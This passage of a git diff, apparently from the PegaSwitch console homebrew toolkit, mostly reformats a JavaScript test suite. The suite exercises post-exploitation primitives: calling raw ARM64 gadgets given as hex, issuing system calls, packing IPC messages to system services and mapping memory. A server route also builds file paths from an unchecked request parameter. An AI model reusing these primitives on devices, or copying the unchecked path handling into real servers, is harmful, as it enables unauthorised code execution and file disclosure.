sc.memview([0,0], 300, () => { + throw "boo!"; + }); + } catch(e) { + assertEq(e, "boo!"); + sc.gc(); + return true; + } + throw "exception was not propogated"; }); new Test("sc.memview view buffer length is correct", () => { - sc.memview([0,0], 300, (view) => { - assertEq(view.byteLength, 300); - }); - return true; + sc.memview([0,0], 300, (view) => { + assertEq(view.byteLength, 300); + }); + return true; }); new Test("sc.call (non-turbo) works", () => { - sc.disableTurbo(); - var str = "test string"; + sc.disableTurbo(); + var str = "test string"; var ab = utils.str2ab(str); var addr = sc.getArrayBufferAddr(ab); - assertPairEq( - // strlen - sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [addr]), - [str.length, 0]); + assertPairEq( + // strlen + sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [addr]), + [str.length, 0]); - return true; + return true; }); new Test("sc.call (non-turbo) translates ArrayBuffers to pointers to their data", () => { - sc.disableTurbo(); - var ab = new ArrayBuffer(30); - var u8 = new Uint8Array(ab); - var str = "test string"; - for(var i = 0; i < str.length; i++) { - u8[i] = str.charCodeAt(i); - } - u8[str.length] = 0; - assertPairEq( - // strlen - sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [ab]), - [str.length, 0]); - - return true; + sc.disableTurbo(); + var ab = new ArrayBuffer(30); + var u8 = new Uint8Array(ab); + var str = "test string"; + for(var i = 0; i < str.length; i++) { + u8[i] = str.charCodeAt(i); + } + u8[str.length] = 0; + assertPairEq( + // strlen + sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [ab]), + [str.length, 0]); + + return true; }); new Test("sc.call (non-turbo) translates TypedArrays to pointers to their data", () => { - sc.disableTurbo(); - var u8 = new Uint8Array(30); - var str = "test string"; - for(var i = 0; i < str.length; i++) { - u8[i] = str.charCodeAt(i); - } - u8[str.length] = 0; - assertPairEq( - // strlen - sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [u8]), - [str.length, 0]); + sc.disableTurbo(); + var u8 = new Uint8Array(30); + var str = "test string"; + for(var i = 0; i < str.length; i++) { + u8[i] = str.charCodeAt(i); + } + u8[str.length] = 0; + assertPairEq( + // strlen + sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [u8]), + [str.length, 0]); - return true; + return true; }); new Test("sc.call (turbo) works", () => { - sc.enableTurbo(); - var str = "test string"; - assertPairEq( - // strlen - sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [sc.str2buf(str)]), - [str.length, 0]); + sc.enableTurbo(); + var str = "test string"; + assertPairEq( + // strlen + sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [sc.str2buf(str)]), + [str.length, 0]); - return true; + return true; }); new Test("sc.call (turbo) translates ArrayBuffers to pointers to their data", () => { - sc.enableTurbo(); - var ab = new ArrayBuffer(30); - var u8 = new Uint8Array(ab); - var str = "test string"; - for(var i = 0; i < str.length; i++) { - u8[i] = str.charCodeAt(i); - } - u8[str.length] = 0; - assertPairEq( - // strlen - sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [ab]), - [str.length, 0]); - - return true; + sc.enableTurbo(); + var ab = new ArrayBuffer(30); + var u8 = new Uint8Array(ab); + var str = "test string"; + for(var i = 0; i < str.length; i++) { + u8[i] = str.charCodeAt(i); + } + u8[str.length] = 0; + assertPairEq( + // strlen + sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [ab]), + [str.length, 0]); + + return true; }); new Test("sc.call (turbo) translates TypedArrays to pointers to their data", () => { - sc.enableTurbo(); - var u8 = new Uint8Array(30); - var str = "test string"; - for(var i = 0; i < str.length; i++) { - u8[i] = str.charCodeAt(i); - } - u8[str.length] = 0; - assertPairEq( - // strlen - sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [u8]), - [str.length, 0]); + sc.enableTurbo(); + var u8 = new Uint8Array(30); + var str = "test string"; + for(var i = 0; i < str.length; i++) { + u8[i] = str.charCodeAt(i); + } + u8[str.length] = 0; + assertPairEq( + // strlen + sc.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [u8]), + [str.length, 0]); - return true; + return true; }); new Test("sc.svc[0xC GetThreadPriority] works", () => { - var buf = new Uint32Array(2); - buf[0] = 0; - assertPairEq(sc.svc(0xC, [sc.getArrayBufferAddr(buf.buffer), 0xFFFF8000]), [0,0]); - assertEq(buf[0], 58); - return true; + var buf = new Uint32Array(2); + buf[0] = 0; + assertPairEq(sc.svc(0xC, [sc.getArrayBufferAddr(buf.buffer), 0xFFFF8000]), [0,0]); + assertEq(buf[0], 58); + return true; }); new Test("sc.svc[0xC GetThreadPriority] translates TypedArrays", () => { - var buf = new Uint32Array(2); - buf[0] = 0; - assertPairEq(sc.svc(0xC, [buf, 0xFFFF8000]), [0,0]); - assertEq(buf[0], 58); - return true; + var buf = new Uint32Array(2); + buf[0] = 0; + assertPairEq(sc.svc(0xC, [buf, 0xFFFF8000]), [0,0]); + assertEq(buf[0], 58); + return true; }); new Test("sc.svc won't try to call bad SVCs", () => { - try { - sc.svc(0x888, []); - } catch(e) { - if(!e.message.startsWith("Failed to call svc")) { - throw "exception message doesn't start with 'Failed to call svc': " + e.message; - } - return true; - } - throw "no exception raised"; + try { + sc.svc(0x888, []); + } catch(e) { + if(!e.message.startsWith("Failed to call svc")) { + throw "exception message doesn't start with 'Failed to call svc': " + e.message; + } + return true; + } + throw "no exception raised"; }); new Test("sc.readString works", () => { - var str = "test string two"; + var str = "test string two"; var ab = utils.str2ab(str); - assertEq(sc.readString(sc.getArrayBufferAddr(ab)), str); - return true; + assertEq(sc.readString(sc.getArrayBufferAddr(ab)), str); + return true; }); new Test("sc.memcpy works", () => { - var src = new Uint32Array(4); - var dst = new Uint32Array(4); - src[0] = 0xAAAA; - src[1] = 0xBBBB; - src[2] = 0xCCCC; - src[3] = 0xDDDD; - assertNotEq(src[0], dst[0]); - assertNotEq(src[1], dst[1]); - assertNotEq(src[2], dst[2]); - assertNotEq(src[3], dst[3]); - sc.memcpy(dst, src, 16); - assertEq(dst[0], 0xAAAA); - assertEq(dst[1], 0xBBBB); - assertEq(dst[2], 0xCCCC); - assertEq(dst[3], 0xDDDD); - assertEq(src[0], dst[0]); - assertEq(src[1], dst[1]); - assertEq(src[2], dst[2]); - assertEq(src[3], dst[3]); - return true; + var src = new Uint32Array(4); + var dst = new Uint32Array(4); + src[0] = 0xAAAA; + src[1] = 0xBBBB; + src[2] = 0xCCCC; + src[3] = 0xDDDD; + assertNotEq(src[0], dst[0]); + assertNotEq(src[1], dst[1]); + assertNotEq(src[2], dst[2]); + assertNotEq(src[3], dst[3]); + sc.memcpy(dst, src, 16); + assertEq(dst[0], 0xAAAA); + assertEq(dst[1], 0xBBBB); + assertEq(dst[2], 0xCCCC); + assertEq(dst[3], 0xDDDD); + assertEq(src[0], dst[0]); + assertEq(src[1], dst[1]); + assertEq(src[2], dst[2]); + assertEq(src[3], dst[3]); + return true; }); new Test("sc.asyncCaller works", () => { - var str = "test string"; + var str = "test string"; var ab = utils.str2ab(str); - return sc.asyncCaller.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [sc.getArrayBufferAddr(ab)]).then((result) => { - assertPairEq(result, [str.length, 0]); - return true; - }); + return sc.asyncCaller.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [sc.getArrayBufferAddr(ab)]).then((result) => { + assertPairEq(result, [str.length, 0]); + return true; + }); }); new Test("sc.asyncCaller translates ArrayBuffers", () => { - var ab = new ArrayBuffer(30); - var u8 = new Uint8Array(ab); - var str = "test string"; - for(var i = 0; i < str.length; i++) { - u8[i] = str.charCodeAt(i); - } - u8[str.length] = 0; - return sc.asyncCaller.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [ab]).then((result) => { - assertPairEq(result, [str.length, 0]); - return true; - }); + var ab = new ArrayBuffer(30); + var u8 = new Uint8Array(ab); + var str = "test string"; + for(var i = 0; i < str.length; i++) { + u8[i] = str.charCodeAt(i); + } + u8[str.length] = 0; + return sc.asyncCaller.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [ab]).then((result) => { + assertPairEq(result, [str.length, 0]); + return true; + }); }); new Test("sc.asyncCaller translates TypedArrays", () => { - var u8 = new Uint8Array(30); - var str = "test string"; - for(var i = 0; i < str.length; i++) { - u8[i] = str.charCodeAt(i); - } - u8[str.length] = 0; - return sc.asyncCaller.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [u8]).then((result) => { - assertPairEq(result, [str.length, 0]); - return true; - }); + var u8 = new Uint8Array(30); + var str = "test string"; + for(var i = 0; i < str.length; i++) { + u8[i] = str.charCodeAt(i); + } + u8[str.length] = 0; + return sc.asyncCaller.call(sc.gadget("e80300aa09084092e90000b4e80300aa090140390902003408050091"), [u8]).then((result) => { + assertPairEq(result, [str.length, 0]); + return true; + }); }); function assertIpcPacking(msg, hexblob) { - hexblob = hexblob.replace(/ /g, ""); - var packed = msg.pack(); - var buf = new ArrayBuffer(hexblob.length/2); - var u8 = new Uint8Array(buf); - - for(var i = 0; i < hexblob.length; i+= 2) { - u8[i/2] = parseInt(hexblob.substring(i, i+2), 16); - } - var u32 = new Uint32Array(buf); - - for(var i = 0; i < Math.max(packed.length, u32.length); i++) { - if(i >= u32.length && packed[i] === 0) { - continue; // forgive short templates - } - if(packed[i] != u32[i]) { - utils.hexdump("packed", packed); - utils.hexdump("template", buf); - throw "IPC packing doesn't match"; - } - } + hexblob = hexblob.replace(/ /g, ""); + var packed = msg.pack(); + var buf = new ArrayBuffer(hexblob.length/2); + var u8 = new Uint8Array(buf); + + for(var i = 0; i < hexblob.length; i+= 2) { + u8[i/2] = parseInt(hexblob.substring(i, i+2), 16); + } + var u32 = new Uint32Array(buf); + + for(var i = 0; i < Math.max(packed.length, u32.length); i++) { + if(i >= u32.length && packed[i] === 0) { + continue; // forgive short templates + } + if(packed[i] != u32[i]) { + utils.hexdump("packed", packed); + utils.hexdump("template", buf); + throw "IPC packing doesn't match"; + } + } - return true; + return true; } new Test("basic IPC messages pack correctly", () => { - assertIpcPacking(sc.ipcMsg(5), "04 00 00 00 08 00 00 00 00 00 00 00 00 00 00 0053 46 43 49 00 00 00 00 05 00 00 00 00 00 00 00"); - assertIpcPacking(sc.ipcMsg(9), "04 00 00 00 08 00 00 00 00 00 00 00 00 00 00 0053 46 43 49 00 00 00 00 09 00 00 00 00 00 00 00"); - return true; + assertIpcPacking(sc.ipcMsg(5), "04 00 00 00 08 00 00 00 00 00 00 00 00 00 00 0053 46 43 49 00 00 00 00 05 00 00 00 00 00 00 00"); + assertIpcPacking(sc.ipcMsg(9), "04 00 00 00 08 00 00 00 00 00 00 00 00 00 00 0053 46 43 49 00 00 00 00 09 00 00 00 00 00 00 00"); + return true; }); new Test("IPC messages with datau32 pack correctly", () => { - assertIpcPacking(sc.ipcMsg(2).datau32(0xAAAA, 0xBBBB, 0xCCCC), "0400 0000 0b00 0000 0000 0000 0000 00005346 4349 0000 0000 0200 0000 0000 0000aaaa 0000 bbbb 0000 cccc 0000"); - return true; + assertIpcPacking(sc.ipcMsg(2).datau32(0xAAAA, 0xBBBB, 0xCCCC), "0400 0000 0b00 0000 0000 0000 0000 00005346 4349 0000 0000 0200 0000 0000 0000aaaa 0000 bbbb 0000 cccc 0000"); + return true; }); new Test("A descriptors, X descriptors, and object domain information pack properly", () => { - assertIpcPacking(sc.ipcMsg(11).data([0xAAAA, 0xDDDD]).aDescriptor(0xBBBB, 0xCCCC, 0x33).aDescriptor(0xEEEE, 0xFFFF, 0x34).xDescriptor(0, 0, 0).xDescriptor(0, 0, 1).toObject(1), - "04 00 22 00 0e 00 00 00 00 00 00 00 00 00 00 00" + + assertIpcPacking(sc.ipcMsg(11).data([0xAAAA, 0xDDDD]).aDescriptor(0xBBBB, 0xCCCC, 0x33).aDescriptor(0xEEEE, 0xFFFF, 0x34).xDescriptor(0, 0, 0).xDescriptor(0, 0, 1).toObject(1), + "04 00 22 00 0e 00 00 00 00 00 00 00 00 00 00 00" + "01 00 00 00 00 00 00 00 cc cc 00 00 bb bb 00 00" + "33 00 00 00 ff ff 00 00 ee ee 00 00 34 00 00 00" + "01 00 18 00 01 00 00 00 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 0b 00 00 00 00 00 00 00" + "aa aa 00 00 dd dd 00 00 00 00 00 00 00 00 00 00"); - return true; + return true; }); /* insert more IPC packing tests here */ @@ -651,157 +651,157 @@ new Test("A descriptors, X descriptors, and object domain information pack prope */ new Test("buffer type 6 ipc example passes", () => { - assertIpcPacking(sc.ipcMsg(1).aDescriptor(0x7000000, 0xa20, 0x0), - "04 00 10 00 08 00 00 00 20 0a 00 00 00 00 00 07" + + assertIpcPacking(sc.ipcMsg(1).aDescriptor(0x7000000, 0xa20, 0x0), + "04 00 10 00 08 00 00 00 20 0a 00 00 00 00 00 07" + "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 01 00 00 00 00 00 00 00"); - return true; + return true; }); new Test("buffer type 5 ipc example passes", () => { - assertIpcPacking(sc.ipcMsg(2).bDescriptor(0x7000000, 0xa20, 0x0), - "04 00 00 01 08 00 00 00 20 0a 00 00 00 00 00 07" + + assertIpcPacking(sc.ipcMsg(2).bDescriptor(0x7000000, 0xa20, 0x0), + "04 00 00 01 08 00 00 00 20 0a 00 00 00 00 00 07" + "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 02 00 00 00 00 00 00 00"); - return true; + return true; }); new Test("buffer type 0x1A (c descriptor) ipc example passes", () => { - assertIpcPacking(sc.ipcMsg(3).cDescriptor(0x7000000, 0x100, false), - "04 00 00 00 08 0c 00 00 00 00 00 00 00 00 00 00" + + assertIpcPacking(sc.ipcMsg(3).cDescriptor(0x7000000, 0x100, false), + "04 00 00 00 08 0c 00 00 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 03 00 00 00 00 00 00 00" + "00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 01"); - return true; + return true; }); new Test("buffer type 0x19 ipc example passes", () => { - assertIpcPacking(sc.ipcMsg(37).xDescriptor(0x6ffff70, 0x48, 0x0).xDescriptor(0x6ffff28, 0x48, 0x1), - "04 00 02 00 08 00 00 00 00 00 48 00 70 ff ff 06" + + assertIpcPacking(sc.ipcMsg(37).xDescriptor(0x6ffff70, 0x48, 0x0).xDescriptor(0x6ffff28, 0x48, 0x1), + "04 00 02 00 08 00 00 00 00 00 48 00 70 ff ff 06" + "01 00 48 00 28 ff ff 06 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 25 00 00 00 00 00 00 00"); - return true; + return true; }); new Test("buffer type 0x9 ipc example passes", () => { - assertIpcPacking(sc.ipcMsg(1002).toObject(0xf001).data(0, utils.parseAddr("0x01007ef00011e000")).xDescriptor(0x7003040, 0x20, 0x0), - "04 00 01 00 10 00 00 00 00 00 20 00 40 30 00 07" + + assertIpcPacking(sc.ipcMsg(1002).toObject(0xf001).data(0, utils.parseAddr("0x01007ef00011e000")).xDescriptor(0x7003040, 0x20, 0x0), + "04 00 01 00 10 00 00 00 00 00 20 00 40 30 00 07" + "01 00 20 00 01 f0 00 00 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 ea 03 00 00 00 00 00 00" + "00 00 00 00 00 00 00 00 00 e0 11 00 f0 7e 00 01" + "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"); - return true; + return true; }); new Test("buffer type 0xA (c descriptor) ipc example passes", () => { - assertIpcPacking(sc.ipcMsg(8).cDescriptor(0x3000010, 0x30, true), - "04 00 00 00 09 0c 00 00 00 00 00 00 00 00 00 00" + + assertIpcPacking(sc.ipcMsg(8).cDescriptor(0x3000010, 0x30, true), + "04 00 00 00 09 0c 00 00 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 08 00 00 00 00 00 00 00" + "00 00 00 00 00 00 00 00 30 00 00 00 10 00 00 03" + "00 00 30 00"); - return true; + return true; }); new Test("buffer type 0x16 ipc example passes", () => { - assertIpcPacking(sc.ipcMsg(14).bDescriptor(0x7000000, 0x180, 0x0), - "04 00 00 01 08 00 00 00 80 01 00 00 00 00 00 07" + + assertIpcPacking(sc.ipcMsg(14).bDescriptor(0x7000000, 0x180, 0x0), + "04 00 00 01 08 00 00 00 80 01 00 00 00 00 00 07" + "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + "53 46 43 49 00 00 00 00 0e 00 00 00 00 00 00 00"); - return true; + return true; }); function expectError(cb) { - try { - cb(); - throw new Error("no error was raised"); - } catch(e) { - return e; - } + try { + cb(); + throw new Error("no error was raised"); + } catch(e) { + return e; + } } function assertErrorCode(cb, c) { - var e = expectError(cb); - if(e.code !== c) { - throw e; - } - return true; + var e = expectError(cb); + if(e.code !== c) { + throw e; + } + return true; } function assertErrorMessage(cb, m) { - var e = expectError(cb); - if(e.message !== m) { - throw e; - } - return true; + var e = expectError(cb); + if(e.message !== m) { + throw e; + } + return true; } new Test("sc.svcWithResult returns an Err on a non-0 result code by closing 0", () => { - return sc.svcWithResult(0x16, [0]).assertErrorCode(0xe401); + return sc.svcWithResult(0x16, [0]).assertErrorCode(0xe401); }); new Test("sc.getService fails with non-string arguments", () => { - assertErrorMessage(() => sc.getService(null).assertOk(), "cannot get service with non-string name"); - assertErrorMessage(() => sc.getService({}).assertOk(), "cannot get service with non-string name"); - return true; + assertErrorMessage(() => sc.getService(null).assertOk(), "cannot get service with non-string name"); + assertErrorMessage(() => sc.getService({}).assertOk(), "cannot get service with non-string name"); + return true; }); new Test("sc.getService returns closeable handles for valid services", () => { - sc.svcWithResult(0x16, [sc.getService("lbl").assertOk()]).assertOk(); - return true; + sc.svcWithResult(0x16, [sc.getService("lbl").assertOk()]).assertOk(); + return true; }); new Test("when svcSendSyncRequest returns != 0, we get an IPCFailure", () => { - var r = sc.ipcMsg(0).sendTo(0); - if(!r.isFailure) { throw r + " is not an ipc failure"; } - assertEq(r.resultCode.code, 0xe401); - return true; + var r = sc.ipcMsg(0).sendTo(0); + if(!r.isFailure) { throw r + " is not an ipc failure"; } + assertEq(r.resultCode.code, 0xe401); + return true; }); new Test("IPCFailure.asResult() returns an Err(IPCFailure)", () => { - var r = sc.ipcMsg(0).sendTo(0); - if(!r.isFailure) { throw r + " is not an ipc failure"; } - assertEq(r.resultCode.code, 0xe401); - var resu = r.asResult(); - if(resu.isOk) { throw "result was not Err"; } - if(resu.getError() !== r) { throw "result error is not IPCFailure"; } - return true; + var r = sc.ipcMsg(0).sendTo(0); + if(!r.isFailure) { throw r + " is not an ipc failure"; } + assertEq(r.resultCode.code, 0xe401); + var resu = r.asResult(); + if(resu.isOk) { throw "result was not Err"; } + if(resu.getError() !== r) { throw "result error is not IPCFailure"; } + return true; }); new Test("IPCFailure.assertOk() throws error code", () => { - assertEq(expectError(() => sc.ipcMsg(0).sendTo(0).assertOk()).code, 0xe401); - return true; + assertEq(expectError(() => sc.ipcMsg(0).sendTo(0).assertOk()).code, 0xe401); + return true; }); new Test("the language can be retrieved from sc.getService(\"set\")", () => { - assertPairEq( - sc.ipcMsg(0).sendTo(sc.getService("set").assertOk()).assertOk().dataBuffer[0], - utils.str2u64(navigator.language)[0]); - return true; + assertPairEq( + sc.ipcMsg(0).sendTo(sc.getService("set").assertOk()).assertOk().dataBuffer[0], + utils.str2u64(navigator.language)[0]); + return true; }); new Test("sc.hasService returns true for existing services (such as lbl)", () => { - assertEq(sc.hasService("lbl"), true); - return true; + assertEq(sc.hasService("lbl"), true); + return true; }); new Test("sc.hasService returns false for not-existing services", () => { - assertEq(sc.hasService("foobar"), false); - return true; + assertEq(sc.hasService("foobar"), false); + return true; }); new Test("sc.getService throws for services that don't exit", () => { - assertErrorMessage(() => sc.getService("foobar"), "no such service"); - return true; + assertErrorMessage(() => sc.getService("foobar"), "no such service"); + return true; }); new Test("sc.getService(name, callback) works", () => { - var handle; - assertEq(sc.getService("set", (h) => { - handle = h; - sc.ipcMsg(0).sendTo(h).assertOk(); - return "test return value"; - }), "test return value"); - sc.svcCloseHandle(handle).assertErrorCode(0xe401); - return true; + var handle; + assertEq(sc.getService("set", (h) => { + handle = h; + sc.ipcMsg(0).sendTo(h).assertOk(); + return "test return value"; + }), "test return value"); + sc.svcCloseHandle(handle).assertErrorCode(0xe401); + return true; }); /* TODO: @@ -810,155 +810,155 @@ new Test("sc.getService(name, callback) works", () => { */ new Test("sc.getAutoHandle returns the same handle if it isn't killed", () => { - var handle1 = sc.getAutoHandle("lbl"); - var handle2 = sc.getAutoHandle("lbl"); - assertPairEq(handle1, handle2); - return true; + var handle1 = sc.getAutoHandle("lbl"); + var handle2 = sc.getAutoHandle("lbl"); + assertPairEq(handle1, handle2); + return true; }); new Test("sc.getAutoHandle returns a new handle if the old one is killed", () => { - var handle1 = sc.getAutoHandle("lbl"); - sc.killAutoHandle("lbl"); - var handle2 = sc.getAutoHandle("lbl"); - assertNotEq(handle1, handle2); - return true; + var handle1 = sc.getAutoHandle("lbl"); + sc.killAutoHandle("lbl"); + var handle2 = sc.getAutoHandle("lbl"); + assertNotEq(handle1, handle2); + return true; }); new Test("ipcMsg.sendTo only kills auto handles when it gets back a bad result code", () => { - var handle1 = sc.getAutoHandle("fsp-srv"); - sc.ipcMsg(1).datau64(0).sendPid().sendTo("fsp-srv").assertOk(); - var handle2 = sc.getAutoHandle("fsp-srv"); - assertEq(handle1, handle2); - assertEq(sc.ipcMsg(999999).data(14).sendTo("fsp-srv").asResult().assertError().resultCode.code, 0xf601); - var handle3 = sc.getAutoHandle("fsp-srv"); - assertNotEq(handle2, handle3); - return true; + var handle1 = sc.getAutoHandle("fsp-srv"); + sc.ipcMsg(1).datau64(0).sendPid().sendTo("fsp-srv").assertOk(); + var handle2 = sc.getAutoHandle("fsp-srv"); + assertEq(handle1, handle2); + assertEq(sc.ipcMsg(999999).data(14).sendTo("fsp-srv").asResult().assertError().resultCode.code, 0xf601); + var handle3 = sc.getAutoHandle("fsp-srv"); + assertNotEq(handle2, handle3); + return true; }); new Test("b descriptors work by asking csrng for random data", () => { - var buf = new Uint8Array(512); - sc.ipcMsg(0).bDescriptor(sc.getArrayBufferAddr(buf.buffer), buf.byteLength, 0).sendTo("csrng").assertOk() - var zeroCount = 0; - for(var i = 0; i < buf.length; i++) { - if(buf[i] == 0) { - zeroCount++; - } - } - if(zeroCount == buf.length) { - // I hope this never *actually* happens without shenanigans - throw "got back all zeroes from csrng"; - } - sc.killAutoHandle("csrng"); - return true; + var buf = new Uint8Array(512); + sc.ipcMsg(0).bDescriptor(sc.getArrayBufferAddr(buf.buffer), buf.byteLength, 0).sendTo("csrng").assertOk(); + var zeroCount = 0; + for(var i = 0; i < buf.length; i++) { + if(buf[i] == 0) { + zeroCount++; + } + } + if(zeroCount == buf.length) { + // I hope this never *actually* happens without shenanigans + throw "got back all zeroes from csrng"; + } + sc.killAutoHandle("csrng"); + return true; }); new Test("b descriptors can be specified with a TypedArray (crng test)", () => { - var buf = new Uint8Array(512); - sc.ipcMsg(0).bDescriptor(buf, 512, 0).sendTo("csrng").assertOk() - var zeroCount = 0; - for(var i = 0; i < buf.length; i++) { - if(buf[i] == 0) { - zeroCount++; - } - } - if(zeroCount == buf.length) { - throw "got back all zeroes from csrng"; - } - sc.killAutoHandle("csrng"); - return true; + var buf = new Uint8Array(512); + sc.ipcMsg(0).bDescriptor(buf, 512, 0).sendTo("csrng").assertOk(); + var zeroCount = 0; + for(var i = 0; i < buf.length; i++) { + if(buf[i] == 0) { + zeroCount++; + } + } + if(zeroCount == buf.length) { + throw "got back all zeroes from csrng"; + } + sc.killAutoHandle("csrng"); + return true; }); new Test("b descriptors can be specified with an ArrayBuffer (crng test)", () => { - var buf = new Uint8Array(512); - sc.ipcMsg(0).bDescriptor(buf.buffer, 512, 0).sendTo("csrng").assertOk() - var zeroCount = 0; - for(var i = 0; i < buf.length; i++) { - if(buf[i] == 0) { - zeroCount++; - } - } - if(zeroCount == buf.length) { - throw "got back all zeroes from csrng"; - } - sc.killAutoHandle("csrng"); - return true; + var buf = new Uint8Array(512); + sc.ipcMsg(0).bDescriptor(buf.buffer, 512, 0).sendTo("csrng").assertOk(); + var zeroCount = 0; + for(var i = 0; i < buf.length; i++) { + if(buf[i] == 0) { + zeroCount++; + } + } + if(zeroCount == buf.length) { + throw "got back all zeroes from csrng"; + } + sc.killAutoHandle("csrng"); + return true; }); new Test("b descriptors will infer size from an ArrayBuffer (crng test)", () => { - var buf = new Uint8Array(512); - sc.ipcMsg(0).bDescriptor(buf.buffer).sendTo("csrng").assertOk() - var zeroCount = 0; - for(var i = 0; i < buf.length; i++) { - if(buf[i] == 0) { - zeroCount++; - } - } - if(zeroCount == buf.length) { - throw "got back all zeroes from csrng"; - } - sc.killAutoHandle("csrng"); - return true; + var buf = new Uint8Array(512); + sc.ipcMsg(0).bDescriptor(buf.buffer).sendTo("csrng").assertOk(); + var zeroCount = 0; + for(var i = 0; i < buf.length; i++) { + if(buf[i] == 0) { + zeroCount++; + } + } + if(zeroCount == buf.length) { + throw "got back all zeroes from csrng"; + } + sc.killAutoHandle("csrng"); + return true; }); new Test("IPCMessage.withHandles will close handles", () => { - var handles = sc.ipcMsg(0).datau64(0).sendPid().sendTo("pctl:a").assertOk().withHandles((msg, m, c) => { - sc.ipcMsg(1032).sendTo(m[0]).assertOk(); - return m; - }); - sc.ipcMsg(1032).sendTo(handles[0]).asResult().assertError(); - return true; + var handles = sc.ipcMsg(0).datau64(0).sendPid().sendTo("pctl:a").assertOk().withHandles((msg, m, c) => { + sc.ipcMsg(1032).sendTo(m[0]).assertOk(); + return m; + }); + sc.ipcMsg(1032).sendTo(handles[0]).asResult().assertError(); + return true; }); new Test("svcGetSystemTick wrapper works", () => { - assertPairNotEq(sc.svcGetSystemTick(), [0,0]); - return true; + assertPairNotEq(sc.svcGetSystemTick(), [0,0]); + return true; }); new Test("svcQueryMemory wrapper returns okay-looking values for heap", () => { - var buf = new Uint32Array(4); - var addr = sc.getArrayBufferAddr(buf.buffer); - var [base, size, state, perm, pageinfo] = sc.svcQueryMem(buf, true).assertOk(); - if(base[1] > addr[1] || (base[1] == addr[1] && base[0] > addr[0])) { - throw "address base is higher than queried address"; - } - var end = utils.add2(base, size); - if(end[1] < addr[1] || (end[1] == addr[1] && end[0] < addr[0])) { - throw "region end is lower than queried address"; - } - if(perm != 3) { - throw "heap is not RW"; - } - if(state != 5) { - throw "heap is not PRIVATE"; - } - return true; + var buf = new Uint32Array(4); + var addr = sc.getArrayBufferAddr(buf.buffer); + var [base, size, state, perm, pageinfo] = sc.svcQueryMem(buf, true).assertOk(); + if(base[1] > addr[1] || (base[1] == addr[1] && base[0] > addr[0])) { + throw "address base is higher than queried address"; + } + var end = utils.add2(base, size); + if(end[1] < addr[1] || (end[1] == addr[1] && end[0] < addr[0])) { + throw "region end is lower than queried address"; + } + if(perm != 3) { + throw "heap is not RW"; + } + if(state != 5) { + throw "heap is not PRIVATE"; + } + return true; }); new Test("findUnmappedRegion returns a region with perm,state == 0 and size >= targetSize", () => { - var targetSize = 0x100000; - var region = sc.findUnmappedRegion(targetSize); - var [base, size, state, perm, pageinfo] = sc.svcQueryMem(region, true).assertOk(); - if(size[1] == 0 && size[0] < targetSize) { - throw "findUnmappedRegion returned too small region"; - } - if(state != 0 || perm != 0) { - throw "findUnmappedRegion returned mapped region"; - } - return true; + var targetSize = 0x100000; + var region = sc.findUnmappedRegion(targetSize); + var [base, size, state, perm, pageinfo] = sc.svcQueryMem(region, true).assertOk(); + if(size[1] == 0 && size[0] < targetSize) { + throw "findUnmappedRegion returned too small region"; + } + if(state != 0 || perm != 0) { + throw "findUnmappedRegion returned mapped region"; + } + return true; }); fails = 0; var promise = Promise.resolve(true); tests.forEach((test) => { - promise = promise.then(() => test.run()); + promise = promise.then(() => test.run()); }); promise.then((result) => { - if(fails != 0) { - utils.log(fails + " FAILED TEST" + (fails == 1 ? "" : "s")); - } else { - utils.log("ALL TESTS PASSED!"); - } + if(fails != 0) { + utils.log(fails + " FAILED TEST" + (fails == 1 ? "" : "s")); + } else { + utils.log("ALL TESTS PASSED!"); + } }).catch((e) => { - utils.log("error: " + e.message); - throw e; + utils.log("error: " + e.message); + throw e; }); diff --git a/start.js b/start.js index bc502f1..46c44ca 100644 --- a/start.js +++ b/start.js @@ -45,7 +45,7 @@ if(os.platform() === 'win32') { } if (!argv['enable-curses'] && !argv.logfile) { - argv.logfile = 'pegaswitch.log' + argv.logfile = 'pegaswitch.log'; console.warn('With curses disabled, a logfile (--logfile) is required. Defaulting to \"pegaswitch.log\".'); } @@ -110,12 +110,12 @@ app.get('/minmain.js', function (req, res) { app.get('/fake_news.mp', function (req, res) { var u8 = new Uint8Array(fs.readFileSync(path.resolve(__dirname, 'files/fake_news.mp'))); - res.end(JSON.stringify(Array.prototype.slice.call(u8))); + res.end(JSON.stringify(Array.prototype.slice.call(u8))); }); app.get('/nros/:nroname', function (req, res) { - var u8 = new Uint8Array(fs.readFileSync(path.resolve(__dirname, 'nros', req.params.nroname))); - res.end(JSON.stringify(Array.prototype.slice.call(u8))); + var u8 = new Uint8Array(fs.readFileSync(path.resolve(__dirname, 'nros', req.params.nroname))); + res.end(JSON.stringify(Array.prototype.slice.call(u8))); }); app.get('/cache', function (req, res) { @@ -259,7 +259,7 @@ Promise.all([dnsServerStarted, httpServerStarted]).then(() => { } } - if 